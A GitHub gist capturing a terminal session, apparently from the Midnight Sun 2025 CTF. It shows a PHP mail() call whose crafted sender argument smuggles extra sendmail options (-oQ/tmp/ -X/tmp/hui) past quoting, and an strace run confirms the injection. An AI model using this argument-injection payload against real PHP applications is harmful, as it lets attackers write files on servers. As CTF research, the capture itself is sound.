Skip to content

Instantly share code, notes, and snippets.

@Ezzer17
Created May 17, 2025 16:35
Show Gist options
  • Save Ezzer17/648010092a6999757a0a8ccc39691718 to your computer and use it in GitHub Desktop.
Save Ezzer17/648010092a6999757a0a8ccc39691718 to your computer and use it in GitHub Desktop.
ezzer@antrocite:midnightsun25 % cat hui.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: hui.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │ 
   3   │ mail('Admin <admin@localhost>', '=?iso-8859-1?Q?', 'This is a multi...', NULL, '-f"a\" -oQ/tmp/ -X/tmp/hui
       │ "@a');
   4   │ 
   5   │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────
ezzer@antrocite:midnightsun25 % strace -f -e execve php hui.php
execve("/usr/bin/php", ["php", "hui.php"], 0x7ffc5aad0d00 /* 74 vars */) = 0
strace: Process 1544161 attached
[pid 1544161] execve("/bin/sh", ["sh", "-c", "--", "/usr/bin/sendmail -t -i -f\"a\\\\\" "...], 0x5c4c2748e2b0 /* 74 vars */) = 0
[pid 1544161] execve("/usr/bin/sendmail", ["/usr/bin/sendmail", "-t", "-i", "-fa\\", "-oQ/tmp/", "-X/tmp/hui\"@a"], 0x5f4a1db3dea0 /* 74 vars */) = -1 ENOENT (No such file or directory)
sh: line 1: /usr/bin/sendmail: No such file or directory
[pid 1544161] +++ exited with 127 +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=1544161, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
+++ exited with 0 +++
ezzer@antrocite:midnightsun25 % 
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment